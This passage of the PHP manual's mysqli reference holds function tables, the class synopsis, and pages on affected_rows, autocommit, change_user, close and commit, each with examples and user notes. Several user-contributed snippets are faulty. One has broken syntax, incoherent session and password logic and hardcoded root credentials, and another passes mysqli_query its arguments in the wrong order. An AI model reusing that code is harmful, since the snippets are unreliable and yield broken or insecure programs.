$mysqli_stmt::sqlstate | mysqli_stmt_sqlstate() | N/A | Returns SQLSTATE error from previous statement operation
Methods
mysqli_stmt::attr_get() | mysqli_stmt_attr_get() | N/A | Used to get the current value of a statement attribute
mysqli_stmt::attr_set() | mysqli_stmt_attr_set() | N/A | Used to modify the behavior of a prepared statement
mysqli_stmt::bind_param() | mysqli_stmt_bind_param() | mysqli_bind_param() | Binds variables to a prepared statement as parameters
mysqli_stmt::bind_result() | mysqli_stmt_bind_result() | mysqli_bind_result() | Binds variables to a prepared statement for result storage
mysqli_stmt::close() | mysqli_stmt_close() | N/A | Closes a prepared statement
mysqli_stmt::data_seek() | mysqli_stmt_data_seek() | N/A | Seeks to an arbitrary row in statement result set
mysqli_stmt::execute() | mysqli_stmt_execute() | mysqli_execute() | Executes a prepared Query
mysqli_stmt::fetch() | mysqli_stmt_fetch() | mysqli_fetch() | Fetch results from a prepared statement into the bound variables
mysqli_stmt::free_result() | mysqli_stmt_free_result() | N/A | Frees stored result memory for the given statement handle
mysqli_stmt::get_result() | mysqli_stmt_get_result() | N/A | Gets a result set from a prepared statement. Available only with mysqlnd.
mysqli_stmt::get_warnings() | mysqli_stmt_get_warnings() | N/A | NOT DOCUMENTED
$mysqli_stmt::more_results() | mysqli_stmt_more_results() | N/A | NOT DOCUMENTED Available only with mysqlnd.
$mysqli_stmt::next_result() | mysqli_stmt_next_result() | N/A | NOT DOCUMENTED Available only with mysqlnd.
mysqli_stmt::num_rows() | mysqli_stmt_num_rows() | N/A | See also property $mysqli_stmt::num_rows
mysqli_stmt::prepare() | mysqli_stmt_prepare() | N/A | Prepare an SQL statement for execution
mysqli_stmt::reset() | mysqli_stmt_reset() | N/A | Resets a prepared statement
mysqli_stmt::result_metadata() | mysqli_stmt_result_metadata() | mysqli_get_metadata() | Returns result set metadata from a prepared statement
mysqli_stmt::send_long_data() | mysqli_stmt_send_long_data() | mysqli_send_long_data() | Send data in blocks
mysqli_stmt::store_result() | mysqli_stmt_store_result() | N/A | Transfers a result set from a prepared statement
mysqli_result
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
$mysqli_result::current_field | mysqli_field_tell() | N/A | Get current field offset of a result pointer
$mysqli_result::field_count | mysqli_num_fields() | N/A | Get the number of fields in a result
$mysqli_result::lengths | mysqli_fetch_lengths() | N/A | Returns the lengths of the columns of the current row in the result set
$mysqli_result::num_rows | mysqli_num_rows() | N/A | Gets the number of rows in a result
Methods
mysqli_result::data_seek() | mysqli_data_seek() | N/A | Adjusts the result pointer to an arbitary row in the result
mysqli_result::fetch_all() | mysqli_fetch_all() | N/A | Fetches all result rows and returns the result set as an associative array, a numeric array, or both. Available only with mysqlnd.
mysqli_result::fetch_array() | mysqli_fetch_array() | N/A | Fetch a result row as an associative, a numeric array, or both
mysqli_result::fetch_assoc() | mysqli_fetch_assoc() | N/A | Fetch a result row as an associative array
mysqli_result::fetch_field_direct() | mysqli_fetch_field_direct() | N/A | Fetch meta-data for a single field
mysqli_result::fetch_field() | mysqli_fetch_field() | N/A | Returns the next field in the result set
mysqli_result::fetch_fields() | mysqli_fetch_fields() | N/A | Returns an array of objects representing the fields in a result set
mysqli_result::fetch_object() | mysqli_fetch_object() | N/A | Returns the current row of a result set as an object
mysqli_result::fetch_row() | mysqli_fetch_row() | N/A | Get a result row as an enumerated array
mysqli_result::field_seek() | mysqli_field_seek() | N/A | Set result pointer to a specified field offset
mysqli_result::free(), mysqli_result::close, mysqli_result::free_result | mysqli_free_result() | N/A | Frees the memory associated with a result
MySQL_Driver
OOP Interface | Procedural Interface | Alias (Do not use) | Description
Properties
N/A
Methods
mysqli_driver::embedded_server_end() | mysqli_embedded_server_end() | N/A | NOT DOCUMENTED
mysqli_driver::embedded_server_start() | mysqli_embedded_server_start() | N/A | NOT DOCUMENTED

Note:

Alias functions are provided for backward compatibility purposes only. Do not use them in new projects.

User Contributed Notes

There are no user contributed notes for this page.
Notes
mysqli
Mysqli


The mysqli class

(No version information available, might only be in SVN)

Introduction

Represents a connection between PHP and a MySQL database.

Class synopsis

mysqli {
/* Properties */
int $affected_rows;
string $client_info;
int $client_version;
string $connect_errno;
string $connect_error;
int $errno;
string $error;
int $field_count;
int $client_version;
string $host_info;
string $protocol_version;
string $server_info;
int $server_version;
string $info;
mixed $insert_id;
string $sqlstate;
int $thread_id;
int $warning_count;
/* Methods */
bool autocommit ( bool $mode )
bool change_user ( string $user , string $password , string $database )
string character_set_name ( void )
bool close ( void )
bool commit ( void )
bool debug ( string $message )
void disable_reads_from_master ( void )
bool dump_debug_info ( void )
object get_charset ( void )
string get_client_info ( void )
bool get_connection_stats ( void )
mysqli_warning get_warnings ( void )
mysqli init ( void )
bool kill ( int $processid )
bool more_results ( void )
bool multi_query ( string $query )
bool next_result ( void )
bool options ( int $option , mixed $value )
bool ping ( void )
public int poll ( array &$read , array &$error , array &$reject , int $sec [, int $usec ] )
mysqli_stmt prepare ( string $query )
mixed query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] )
bool real_connect ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket [, int $flags ]]]]]]] )
string escape_string ( string $escapestr )
bool real_query ( string $query )
public mysqli_result reap_async_query ( void )
public bool refresh ( int $options )
bool rollback ( void )
int rpl_query_type ( string $query )
bool select_db ( string $dbname )
bool send_query ( string $query )
bool set_charset ( string $charset )
bool set_local_infile_handler ( mysqli $link , callback $read_func )
bool ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher )
string stat ( void )
mysqli_stmt stmt_init ( void )
mysqli_result store_result ( void )
mysqli_result use_result ( void )
}

Table of Contents

  • mysqli::$affected_rows — Gets the number of affected rows in a previous MySQL operation
  • mysqli::autocommit — Turns on or off auto-commiting database modifications
  • mysqli::change_user — Changes the user of the specified database connection
  • mysqli::character_set_name — Returns the default character set for the database connection
  • mysqli::$client_info — Returns the MySQL client version as a string
  • mysqli::$client_version — Get MySQL client info
  • mysqli::close — Closes a previously opened database connection
  • mysqli::commit — Commits the current transaction
  • mysqli::$connect_errno — Returns the error code from last connect call
  • mysqli::$connect_error — Returns a string description of the last connect error
  • mysqli::__construct — Open a new connection to the MySQL server
  • mysqli::debug — Performs debugging operations
  • mysqli::disable_reads_from_master — Disable reads from master
  • mysqli::dump_debug_info — Dump debugging information into the log
  • mysqli::$errno — Returns the error code for the most recent function call
  • mysqli::$error — Returns a string description of the last error
  • mysqli::$field_count — Returns the number of columns for the most recent query
  • mysqli::get_charset — Returns a character set object
  • mysqli::get_client_info — Returns the MySQL client version as a string
  • mysqli_get_client_stats — Returns client per-process statistics
  • mysqli::$client_version — Get MySQL client info
  • mysqli::get_connection_stats — Returns statistics about the client connection
  • mysqli::$host_info — Returns a string representing the type of connection used
  • mysqli::$protocol_version — Returns the version of the MySQL protocol used
  • mysqli::$server_info — Returns the version of the MySQL server
  • mysqli::$server_version — Returns the version of the MySQL server as an integer
  • mysqli::get_warnings — Get result of SHOW WARNINGS
  • mysqli::$info — Retrieves information about the most recently executed query
  • mysqli::init — Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli::$insert_id — Returns the auto generated id used in the last query
  • mysqli::kill — Asks the server to kill a MySQL thread
  • mysqli::more_results — Check if there are any more query results from a multi query
  • mysqli::multi_query — Performs a query on the database
  • mysqli::next_result — Prepare next result from multi_query
  • mysqli::options — Set options
  • mysqli::ping — Pings a server connection, or tries to reconnect if the connection has gone down
  • mysqli::poll — Poll connections
  • mysqli::prepare — Prepare an SQL statement for execution
  • mysqli::query — Performs a query on the database
  • mysqli::real_connect — Opens a connection to a mysql server
  • mysqli::real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • mysqli::real_query — Execute an SQL query
  • mysqli::reap_async_query — Get result from async query
  • mysqli::refresh — Refreshes
  • mysqli::rollback — Rolls back current transaction
  • mysqli::rpl_query_type — Returns RPL query type
  • mysqli::select_db — Selects the default database for database queries
  • mysqli::send_query — Send the query and return
  • mysqli::set_charset — Sets the default client character set
  • mysqli::set_local_infile_default — Unsets user defined handler for load local infile command
  • mysqli::set_local_infile_handler — Set callback function for LOAD DATA LOCAL INFILE command
  • mysqli::$sqlstate — Returns the SQLSTATE error from previous MySQL operation
  • mysqli::ssl_set — Used for establishing secure connections using SSL
  • mysqli::stat — Gets the current system status
  • mysqli::stmt_init — Initializes a statement and returns an object for use with mysqli_stmt_prepare
  • mysqli::store_result — Transfers a result set from the last query
  • mysqli::$thread_id — Returns the thread ID for the current connection
  • mysqli::thread_safe — Returns whether thread safety is given or not
  • mysqli::use_result — Initiate a result set retrieval
  • mysqli::$warning_count — Returns the number of warnings from the last query for the given link

User Contributed Notes

There are no user contributed notes for this page.
The MySQLi Extension Function Summary
mysqli::$affected_rows
Mysqli


Gets the number of affected rows in a previous MySQL operation

mysqli
mysqli::autocommit
mysqli
PHP Manual

mysqli::$affected_rows

mysqli_affected_rows

(PHP 5)

mysqli::$affected_rows -- mysqli_affected_rows — Gets the number of affected rows in a previous MySQL operation

Description

Object oriented style

int $mysqli->affected_rows;

Procedural style

int mysqli_affected_rows ( mysqli $link )

Returns the number of rows affected by the last INSERT, UPDATE, REPLACE or DELETE query.

For SELECT statements mysqli_affected_rows() works like mysqli_num_rows().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query returned an error.

Note:

If the number of affected rows is greater than maximal int value, the number of affected rows will be returned as a string.

Examples

Example #1 $mysqli->affected_rows example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Insert rows */
$mysqli->query("CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", $mysqli->affected_rows);

$mysqli->query("ALTER TABLE Language ADD Status int default 0");

/* update rows */
$mysqli->query("UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", $mysqli->affected_rows);

/* delete rows */
$mysqli->query("DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", $mysqli->affected_rows);

/* select all rows */
$result = $mysqli->query("SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", $mysqli->affected_rows);

$result->close();

/* Delete table Language */
$mysqli->query("DROP TABLE Language");

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
    exit();
}

/* Insert rows */
mysqli_query($link, "CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", mysqli_affected_rows($link));

mysqli_query($link, "ALTER TABLE Language ADD Status int default 0");

/* update rows */
mysqli_query($link, "UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", mysqli_affected_rows($link));

/* delete rows */
mysqli_query($link, "DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", mysqli_affected_rows($link));

/* select all rows */
$result = mysqli_query($link, "SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", mysqli_affected_rows($link));

mysqli_free_result($result);

/* Delete table Language */
mysqli_query($link, "DROP TABLE Language");

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Affected rows (INSERT): 984
Affected rows (UPDATE): 168
Affected rows (DELETE): 815
Affected rows (SELECT): 169

See Also

  • mysqli_num_rows() - Gets the number of rows in a result
  • mysqli_info() - Retrieves information about the most recently executed query

User Contributed Notes

ric at xpellshop dot com 10-Jul-2011 11:54
"Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed."

what if i need to know which one of the three occurred? It's dumb that there is no distinction between the three.
Anonymous 18-Feb-2011 02:50
On "INSERT INTO ON DUPLICATE KEY UPDATE" queries, though one may expect affected_rows to return only 0 or 1 per row on successful queries, it may in fact return 2.

From Mysql manual: "With ON DUPLICATE KEY UPDATE, the affected-rows value per row is 1 if the row is inserted as a new row and 2 if an existing row is updated."

See: http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html

Here's the sum breakdown _per row_:
+0: a row wasn't updated or inserted (likely because the row already existed, but no field values were actually changed during the UPDATE)
+1: a row was inserted
+2: a row was updated
djnigelharkness at yahoo dot com 12-May-2010 05:42
<?php
    $gHostName    ="localhost";
    $gUserName    ="root";
    $gPassword    ="mypassword";
    $gDBName     ="dbName";
    $mysqli = new mysqli($gHostName, $gUserName, $gPassword,
            $gDBName);

    $username="username";    $email="user@xxx.edu";
    $password="3442f6e94a733237a3e844f0286b92f559bf794d";

    //insert
//    $stmt = $mysqli->prepare("INSERT INTO j_user
        (username,email,password) VALUES (?, ?, ?)");
//    $stmt->bind_param('sss',$username, $email, $password);
//    $stmt->execute();
//    $stmt->close();

    //delete
//    $stmt = $mysqli->prepare("DELETE FROM j_user WHERE
                        username=?");
//    $stmt->bind_param('s',$username);
//    $stmt->execute();
//    $stmt->close();

    //update
//    $stmt = $mysqli->prepare("UPDATE j_user SET email=? WHERE
                        username='wjw6349'");
//    $stmt->bind_param('s',$email);
//    $stmt->execute();
//    $stmt->close();

    if ($mysqli->connect_error){
        echo("Connect failed: ".mysqli_connect_error()); exit();
    }

    $querySelect = "SELECT * FROM j_user";
    $resultSet = $mysqli->query($querySelect);

    if($resultSet->num_rows > 0){
        while($row = $resultSet->fetch_assoc()){
            foreach($row as $fieldValue){
                $bigString .= "<em>$fieldValue</em><br />\n";
            }
            $bigString .= "<hr />";
        }
        $mysqli->close();
        echo $bigString;
    }

    function __autoload($className) {
        require_once $className.'.class.php';
    }
    //start the session and create it
    session_start();
    $_SESSION['name'] = $_POST['username']."_".time();
    //encrypt the password
    sha1($_POST['password']) == $password
    header("Location:admin.php");
    //check if the session is set
    session_start();
    if (isset($_SESSION['name'])) { }
?>
oilpc at oilpc dot com 14-Nov-2009 10:06
For "INSERT" or "UPDATE" statement for modifying data contained in one row of one table I checked if number of affected rows equals 1 to determine success of the operation. It works fine both for errors and false value of WHERE condition (that might be generated according to specific application user acces privileges).
<?php
if ($mysqli->affected_rows==1){
    echo "success";
}
else {
    echo "fail";
}
?>

Checking if mysqli->affected_rows will equal -1 or not is not a good method of determining success of "INSERT IGNORE" statements. Example: Ignoring duplicate key errors while inserting some rows containing data provided by user only if they will match specified unique constraint causes returning of -1 value by mysqli->affected_rows even if rows were inserted. (checked on MySQL 5.0.85 linux and php 5.2.9-2 windows). However mysqli->sqlstate returns no error if statement was executed successfully.
<?php
if ($mysqli->affected_rows!=-1){
    echo "success";// for "INSERT IGNORE" statements will not occur if there were any duplicate key errors ignored during execution of the query
}
else {
    echo "fail";// "INSERT IGNORE" statements causing any duplicate key errors (however ignored) lead to mysqli->affected_rows equal -1
}

// Example below works for "INSERT IGNORE" stattements, too
if ($mysqli->sqlstate=="00000"){
    echo "success";
}
else {
    echo "fail";
}
?>
mysqli
mysqli::autocommit
mysqli


Turns on or off auto-commiting database modifications

mysqli::$affected_rows
mysqli::change_user
mysqli
PHP Manual

mysqli::autocommit

mysqli_autocommit

(PHP 5)

mysqli::autocommit -- mysqli_autocommit — Turns on or off auto-commiting database modifications

Description

Object oriented style

bool mysqli::autocommit ( bool $mode )

Procedural style

bool mysqli_autocommit ( mysqli $link , bool $mode )

Turns on or off auto-commit mode on queries for the database connection.

To determine the current state of autocommit use the SQL command SELECT @@autocommit.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

mode

Whether to turn on auto-commit or not.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function doesn't work with non transactional table types (like MyISAM or ISAM).

Examples

Example #1 mysqli::autocommit() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* turn autocommit on */
$mysqli->autocommit(TRUE);

if ($result = $mysqli->query("SELECT @@autocommit")) {
    $row = $result->fetch_row();
    printf("Autocommit is %s\n", $row[0]);
    $result->free();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
    exit();
}

/* turn autocommit on */
mysqli_autocommit($link, TRUE);

if ($result = mysqli_query($link, "SELECT @@autocommit")) {
    $row = mysqli_fetch_row($result);
    printf("Autocommit is %s\n", $row[0]);
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Autocommit is 1

See Also

  • mysqli_commit() - Commits the current transaction
  • mysqli_rollback() - Rolls back current transaction

User Contributed Notes

jcwebb at dicoe dot com 11-Nov-2007 01:03
Just to be clear, autocommit not only turns on/off transactions, but will also 'commit' any waiting queries.
<?php
mysqli_autocommit($link, FALSE); // turn OFF auto
-some query 1;
-some query 2;
mysqli_commit($link); // process ALL queries so far
-some query 3;
-some query 4;
mysqli_autocommit($link, TRUE); // turn ON auto
?>
All 4 will be processed.
Geoffrey Thubron 12-May-2007 06:02
It's worth noting that you can perform transactions without disabling autocommit just using standard sql. "START TRANSACTION;" will start a transaction. "COMMIT;" will commit the results and "ROLLBACK;" will revert to the pre-transaction state.

CREATE TABLE and CREATE DATABASE (and probably others) are always commited immediately and your transaction appears to terminate. Thus any commands before and after will be commited, even if a subsequent rollback is attempted.

If you are in the middle of a transaction and you call mysqli_close() it appears that you get the funcitonality of an implicit rollback.

I can't reproduce the "code bug causes lock" problem outlined below (I always get a successful rollback and the script will run umtine times successfully). Therefore, I would suggest that the problem is fixed in php-5.2.2.
Glen 11-Mar-2007 12:22
I've found that if PHP exits due to a code bug during a transaction, an InnoDB table can remain locked until Apache is restarted.

The simple test is to start a transaction by setting $mysqli_obj->autocommit(false) and executing an insert statement.  Before getting to a $mysqli_obj->commit statement - have a runtime code bug bomb PHP.  You check the database, no insert happened (you assume a rollback occurred) .. and you go fix the bug, and try again... but this time the script takes about 50 seconds to timeout - the insert statement returning with a “1205 - Lock wait timeout exceeded; try restarting transaction”.  No rollback occurred. And this error will not go away until you restart Apache - for whatever reason, the resources are not released until the process is killed.

I found that an ‘exit’, instead of a PHP code bug, will not cause a problem. So there is an auto-rollback mechanism in place - it just fails miserably when PHP dies unexpectantly. Having to restarting apache is a pretty drastic measure to overcome a code bug.

To avoid this problem, I use “register_shutdown_function()” when I start a transaction, and set a flag to indicate a transaction is in process (because there is no unregister_shutdown_function()). See below. So the __shutdown_check() routine (I beleive it needs to be public) is called when the script bombs - which is able to invoke the rollback().

these are just the relevant bits to give u an idea...

<?php

public function begin_transaction() {
  $ret = $this->mysqli_obj->autocommit(false);
  $this->transaction_in_progress = true;
  register_shutdown_function(array($this, "__shutdown_check"));
}

public function __shutdown_check() {
  if ($this->transaction_in_progress) {
    $this->rollback();
  }
}

public function commit() {
  $ret = $this->mysqli_obj->commit();
  $this->transaction_in_progress = false;
}

public function rollback() {
  $ret = $this->mysqli_obj->rollback();
  $this->transaction_in_progress = false;
}
?>

True for PHP 5.1.6 + MySQL 5.0.24a.
will at phpfever dot com 27-Apr-2006 01:22
If you are using the mysql command line tool, here are some helpful hints for the autocommit feature:

1.  To view the current autocommit setting, you can use this query: select @@autocommit;  It will return the current setting as 1 or 0 (on or off)

2. You can manage the default autocommit feature in you my.cnf or my.ini by adding the following line: init_connect='set autocommit=0'.  I'm pretty sure this isn't in the documentation, but it does work.

Here are the current engines, as of MySQL 5.1dev that support transactions:

InnoDB
BerkeleyDB
Falcon

Falcon is very new, so beware using it on production systems.
mysqli::$affected_rows
mysqli::change_user
mysqli


Changes the user of the specified database connection

mysqli::autocommit
mysqli::character_set_name
mysqli
PHP Manual

mysqli::change_user

mysqli_change_user

(PHP 5)

mysqli::change_user -- mysqli_change_user — Changes the user of the specified database connection

Description

Object oriented style

bool mysqli::change_user ( string $user , string $password , string $database )

Procedural style

bool mysqli_change_user ( mysqli $link , string $user , string $password , string $database )

Changes the user of the specified database connection and sets the current database.

In order to successfully change users a valid username and password parameters must be provided and that user must have sufficient permissions to access the desired database. If for any reason authorization fails, the current user authentication will remain.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

user

The MySQL user name.

password

The MySQL password.

database

The database to change to.

If desired, the NULL value may be passed resulting in only changing the user and not selecting a database. To select a database in this case use the mysqli_select_db() function.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

Using this command will always cause the current database connection to behave as if was a completely new database connection, regardless of if the operation was completed successfully. This reset includes performing a rollback on any active transactions, closing all temporary tables, and unlocking all locked tables.

Examples

Example #1 mysqli::change_user() example

Object oriented style

<?php

/* connect database test */
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Set Variable a */
$mysqli->query("SET @a:=1");

/* reset all and select a new database */
$mysqli->change_user("my_user", "my_password", "world");

if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database: %s\n", $row[0]);
    $result->close();
}

if ($result = $mysqli->query("SELECT @a")) {
    $row = $result->fetch_row();
    if ($row[0] === NULL) {
        printf("Value of variable a is NULL\n");
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
/* connect database test */
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Set Variable a */
mysqli_query($link, "SET @a:=1");

/* reset all and select a new database */
mysqli_change_user($link, "my_user", "my_password", "world");

if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database: %s\n", $row[0]);
    mysqli_free_result($result);
}

if ($result = mysqli_query($link, "SELECT @a")) {
    $row = mysqli_fetch_row($result);
    if ($row[0] === NULL) {
        printf("Value of variable a is NULL\n");
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Default database: world
Value of variable a is NULL

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_select_db() - Selects the default database for database queries

User Contributed Notes

There are no user contributed notes for this page.
mysqli::autocommit
mysqli::character_set_name
mysqli


Returns the default character set for the database connection

mysqli::change_user
mysqli::$client_info
mysqli
PHP Manual

mysqli::character_set_name

mysqli_character_set_name

(PHP 5)

mysqli::character_set_name -- mysqli_character_set_name — Returns the default character set for the database connection

Description

Object oriented style

string mysqli::character_set_name ( void )

Procedural style

string mysqli_character_set_name ( mysqli $link )

Returns the current character set for the database connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

The default character set for the current connection

Examples

Example #1 mysqli::character_set_name() example

Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Print current character set */
$charset = $mysqli->character_set_name();
printf ("Current character set is %s\n", $charset);

$mysqli->close();
?>

Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Print current character set */
$charset = mysqli_character_set_name($link);
printf ("Current character set is %s\n",$charset);

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Current character set is latin1_swedish_ci

See Also

  • mysqli_client_encoding() - Alias of mysqli_character_set_name
  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

User Contributed Notes

There are no user contributed notes for this page.
mysqli::change_user
mysqli::$client_info
mysqli


Returns the MySQL client version as a string

mysqli::character_set_name
mysqli::$client_version
mysqli
PHP Manual

mysqli::$client_info

mysqli_get_client_info

(PHP 5)

mysqli::$client_info -- mysqli_get_client_info — Returns the MySQL client version as a string

Description

Object oriented style

string $mysqli->client_info;

Procedural style

string mysqli_get_client_info ( mysqli $link )

Returns a string that represents the MySQL client library version.

Return Values

A string that represents the MySQL client library version

Examples

Example #1 mysqli_get_client_info

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %s\n", mysqli_get_client_info());
?>

See Also

  • mysqli_get_client_version() - Get MySQL client info
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.
mysqli::character_set_name
mysqli::$client_version
mysqli


Get MySQL client info

mysqli::$client_info
mysqli::close
mysqli
PHP Manual

mysqli::$client_version

mysqli_get_client_version

(PHP 5)

mysqli::$client_version -- mysqli_get_client_version — Get MySQL client info

Description

Object oriented style

int $mysqli->client_version;

Procedural style

int mysqli_get_client_version ( mysqli $link )

Returns client version number as an integer.

Return Values

A number that represents the MySQL client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 4.1.0 is returned as 40100.

This is useful to quickly determine the version of the client library to know if some capability exists.

Examples

Example #1 mysqli_get_client_version

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %d\n", mysqli_get_client_version());
?>

See Also

  • mysqli_get_client_info() - Returns the MySQL client version as a string
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$client_info
mysqli::close
mysqli


Closes a previously opened database connection

mysqli::$client_version
mysqli::commit
mysqli
PHP Manual

mysqli::close

mysqli_close

(PHP 5)

mysqli::close -- mysqli_close — Closes a previously opened database connection

Description

Object oriented style

bool mysqli::close ( void )

Procedural style

bool mysqli_close ( mysqli $link )

Closes a previously opened database connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See mysqli_connect().

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_init() - Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

Anonymous 23-Apr-2010 02:43
The mysqli_close() function and object method only remove the ability to use the mysql object again in the script, essentially on the surface only nulling out all object parameters.

At least with PHP5.3.2 and Windows connecting by tcp, this differs by the old mysql_close() function in that it does not actually close out the tcp socket being used.  You should always use mysqli_kill() function before mysqli_close() to actually close and free up the tcp socket being used by PHP.  Garbage collection after script execution nor mysqli_close() do not kill the tcp socket on their own.  The socket would otherwise remain in 'wait' state for approximately 30 seconds, and any additional page loads/connection attempts would only add to the total number of open tcp connections.  This wait time does not appear to be configurable via PHP settings.

Also as of this version, mysqli created links cannot be "deactivated", and will continue to accumulate in process memory until the PHP server or process is restarted, essentially making mysqli.max_links = -1 required.
php at dafydd dot com 07-Nov-2008 01:03
I've had situations where database connections appeared to persist following php execution. So, now, my __destructor function explicitly contains a $cxn->close(). It hurts nothing, and helps avoid memory leaks.
win at alinto dot com 21-May-2008 02:52
There's nothing here about connexions automatically claused at the end of a script. About that, a little note from devzone.zend.com :

"Open connections (and similar resources) are automatically destroyed at the end of script execution. However, you should still close or free all connections, result sets and statement handles as soon as they are no longer required. This will help return resources to PHP and MySQL faster."
mysqli::$client_version
mysqli::commit
mysqli


Commits the current transaction

mysqli::close
mysqli::$connect_errno
mysqli
PHP Manual

mysqli::commit

mysqli_commit

(PHP 5)

mysqli::commit -- mysqli_commit — Commits the current transaction

Description

Object oriented style

bool mysqli::commit ( void )

Procedural style

bool mysqli_commit ( mysqli $link )

Commits the current transaction for the database connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::commit() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE Language LIKE CountryLanguage");

/* set autocommit to off */
$mysqli->autocommit(FALSE);

/* Insert some values */
$mysqli->query("INSERT INTO Language VALUES ('DEU', 'Bavarian', 'F', 11.2)");
$mysqli->query("INSERT INTO Language VALUES ('DEU', 'Swabian', 'F', 9.4)");

/* commit transaction */
$mysqli->commit();

/* drop table */
$mysqli->query("DROP TABLE Language");

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* set autocommit to off */
mysqli_autocommit($link, FALSE);

mysqli_query($link, "CREATE TABLE Language LIKE CountryLanguage");

/* Insert some values */
mysqli_query($link, "INSERT INTO Language VALUES ('DEU', 'Bavarian', 'F', 11.2)");
mysqli_query($link, "INSERT INTO Language VALUES ('DEU', 'Swabian', 'F', 9.4)");

/* commit transaction */
mysqli_commit($link);

/* close connection */
mysqli_close($link);
?>

See Also

  • mysqli_autocommit() - Turns on or off auto-commiting database modifications
  • mysqli_rollback() - Rolls back current transaction

User Contributed Notes

Bob Johnson 10-Sep-2009 10:42
The compactness of Lorenzo's code is admirable.
However, it is a good idea to also check  $mysqli->affected_rows to make sure that the INSERT statement did not fail.

<?php
$result_query = @mysqli_query($query, $connect);
                if (($result_query == false) &&
                   (mysqli_affected_rows($connect) == 0))
                 {
                    // verify the query executed completely and verify that it
                    // had impact on the table

                    $success = false;

                    // here also, the developer could choose to add a ROLLBACK
